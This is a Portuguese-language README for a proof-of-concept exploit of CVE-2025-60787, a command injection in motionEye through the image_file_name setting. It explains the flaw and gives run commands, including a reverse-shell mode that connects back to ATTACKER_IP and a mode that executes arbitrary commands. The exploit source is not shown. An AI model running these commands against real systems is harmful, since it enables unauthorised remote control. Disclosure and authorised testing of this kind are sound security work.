
Python PoC para CVE-2025-60787, RCE por injeção de comando no SO autenticada em motionEye <= 0.43.1b4 através da configuração image_file_name não sanitizada
| Campo | Detalhes |
|---|
| ID CVE | CVE-2025-60787 |
| Pontuação CVSS | 7.2 (Alto) |
| Tipo | Injeção de Comandos do SO (CWE-78) |
| Afetado | motionEye <= 0.43.1b4 |
| Corrigido em | 0.43.1b5 |
motionEye aceita strings arbitrárias em campos de configuração como image_file_name e as escreve diretamente nos arquivos de configuração do Motion (/etc/motioneye/camera-*.conf). Quando o serviço Motion reinicia, ele interpreta esses campos como strings expansíveis pelo shell, permitindo que um atacante autenticado injete e execute comandos arbitrários do sistema operacional.
A interface web inclui validação no lado do cliente para esses campos, mas isso pode ser trivialmente contornado enviando requisições de API maliciosas diretamente.
image_file_namecapture_mode: interval-snapshots)requestsgit clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt
O exploit suporta dois modos: reverse shell e execução de comandos.
Inicie um listener na sua máquina e então execute:
python3 exploit.py revshell \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-i ATTACKER_IP \
--port 4444
python3 exploit.py command \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-e "id; whoami"
| Flag | Descrição |
|---|---|
--url | URL do motionEye alvo, incluindo a porta |
--user | Nome de usuário do motionEye |
--password | Senha do motionEye |
-i / --host | IP do listener (modo revshell) |
--port | Porta do listener (modo revshell) |
-e / --exec | Comando a executar (modo command) |
--camera-id | Especificar um ID de câmera alvo |
--sh | Usar /bin/sh em vez de /bin/bash |
--no-verify | Ignorar verificação de certificado TLS |
--proxy | Rotear tráfego através de um proxy (ex.: http://127.0.0.1:8080) |
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade pelo uso inadequado deste software. Sempre obtenha a devida autorização antes de testar.
Este projeto está licenciado sob a Licença MIT.